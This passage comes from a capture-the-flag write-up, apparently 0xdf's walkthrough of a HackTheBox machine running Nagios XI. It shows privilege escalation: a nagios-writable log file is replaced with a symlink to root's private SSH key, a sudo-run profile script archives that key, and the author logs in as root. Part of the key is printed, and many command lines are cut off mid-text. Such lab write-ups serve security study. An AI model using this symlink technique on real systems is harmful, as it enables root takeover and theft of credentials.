tail -n500 /usr/local/nagiosxi/var/perfdataproc.log > "/usr/l
tail -n500 /usr/local/nagiosxi/var/sysstat.log > "/usr/local/
/usr/bin/tail -n1000 /var/log/messages > "/usr/local/nagi
/usr/bin/tail -n1000 /var/log/syslog > "/usr/local/nagios
/usr/bin/tail -n1000 /var/log/snmptrapd.log > "/usr/local
/usr/bin/tail -n1000 /var/log/snmptt/snmptt.log > "/usr/l
/usr/bin/tail -n1000 /var/log/snmptt/snmpttsystem.log > "
/usr/bin/tail -n1000 /var/log/snmpttunknown.log > "/usr/l
/usr/bin/tail -n1000 /var/log/httpd/$a > "/usr/lo
/usr/bin/tail -n1000 /var/log/apache2/$a > "/usr/
tail -1
/usr/bin/tail -n500 /var/log/mysqld.log > "/usr/local
/usr/bin/tail -n500 /var/log/mariadb/mariadb.log > "/
/usr/bin/tail -n500 /var/log/mysql/mysql.log > "/usr/
/usr/bin/tail -n500 "$errlog" > "/usr/local/nagio
/usr/bin/tail -n500 /var/log/mysql.err > "/usr/local/
/usr/bin/tail -n500 /var/log/mysql/error.log > "/usr/
/usr/bin/tail -n500 /var/log/mariadb/error.log > "/us
FILE=$(ls /usr/local/nagiosxi/nom/checkpoints/nagioscore/ | s
tail -100 /var/log/maillog > "/usr/local/nagiosxi/var/compone
tail -100 /usr/local/nagiosxi/tmp/phpmailer.log > "/usr/l

Almost all of these are in /var/log , where the nagios can’t write. Still,
the last one is in the /usr/local/nagiosxi directory. The section of
code looks like:

echo "Getting phpmailer.log..."


if [ -f /usr/local/nagiosxi/tmp/phpmailer.log ]; then
tail -100 /usr/local/nagiosxi/tmp/phpmailer.log > "/usr/
fi

At the end, it puts all the collected files into a Zip archive:

echo "Zipping logs directory..."

## temporarily change to that directory, zip, then leave


(
ts=$(date +%s)
cd /usr/local/nagiosxi/var/components/profile
mv "$folder" "profile-$ts"
zip -r profile.zip "profile-$ts"
rm -rf "profile-$ts"
mv -f profile.zip ../
)

Abusing Symlink

The phpmailer.log file is owned by nagios:

nagios@monitored:~$ ls -l /usr/local/nagiosxi/tmp/phpmailer.l
-rw-r--r-- 1 nagios nagios 0 Nov 10 15:14 /usr/local/nagiosxi
That means I can modify it. The existing it empty. I’ll overwrite it with a
symlink:

nagios@monitored:~$ ln -sf /root/.ssh/id_rsa /usr/local/nagio


nagios@monitored:~$ ls -l /usr/local/nagiosxi/tmp/phpmailer.l
lrwxrwxrwx 1 nagios nagios 17 May 9 08:50 /usr/local/nagiosx

Now I run getuserprofile.sh :

nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/componen


mv: cannot stat '/usr/local/nagiosxi/tmp/profile-0xdf.html':
-------------------Fetching Information-------------------
Please wait.......
Creating system information...
Creating nagios.txt...
Creating perfdata.txt...
Creating npcd.txt...
Creating cmdsubsys.txt...
Creating event_handler.txt...
Creating eventman.txt...
Creating perfdataproc.txt...

The resulting file is in /usr/local/nagiosxi/var/components :

nagios@monitored:/usr/local/nagiosxi/var/components$ ls
auditlog.log capacityplanning.log profile profile.zip

It has 61 files:
nagios@monitored:/usr/local/nagiosxi/var/components$ unzip -l
Archive: profile.zip
Length Date Time Name
--------- ---------- ----- ----
0 2024-05-09 08:57 profile-1715259437/
8761 2024-05-09 08:57 profile-1715259437/config.inc.p
159185 2024-05-09 08:57 profile-1715259437/xi_usermeta.
75 2024-05-09 08:57 profile-1715259437/iptables.txt
19818 2024-05-09 08:57 profile-1715259437/top.txt
825 2024-05-09 08:57 profile-1715259437/ip_addr.txt
29365 2024-05-09 08:57 profile-1715259437/1715254696.t
779 2024-05-09 08:57 profile-1715259437/filesystem.t

I only care about one file:

nagios@monitored:/usr/local/nagiosxi/var/components$ unzip -p
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAA
NhAAAAAwEAAQAAAYEAnZYnlG22OdnxaaK98DJMc9isuSgg9wtjC0r1iTzlSRV
FSINj1byqeOkrieC8Ftrte+9eTrvfk7Kpa8WH0S0LsotASTXjj4QCuOcmgq9I
...[snip]...
CNvArnlhyB8ZevAAAADnJvb3RAbW9uaXRvcmVkAQIDBA==
-----END OPENSSH PRIVATE KEY-----

SSH

With that key, I can SSH into Monitored as root:


oxdf@hacky$ ssh -i ~/keys/monitored-root [email protected]
Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (202

The programs included with the Debian GNU/Linux system are fr


the exact distribution terms for each program are described i
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the ex


permitted by applicable law.
Last login: Wed May 8 15:28:08 2024
root@monitored:~#

And read root.txt :

root@monitored:~# cat root.txt


74cc1c60************************

0xdf hacks stuff


0xdf hacks stuff 0xdf_
[email protected] 0xdf
feed

0xdf

@[email protected]

CTF solutions, malware analysis, home lab development

Buy me a coffee

You might also like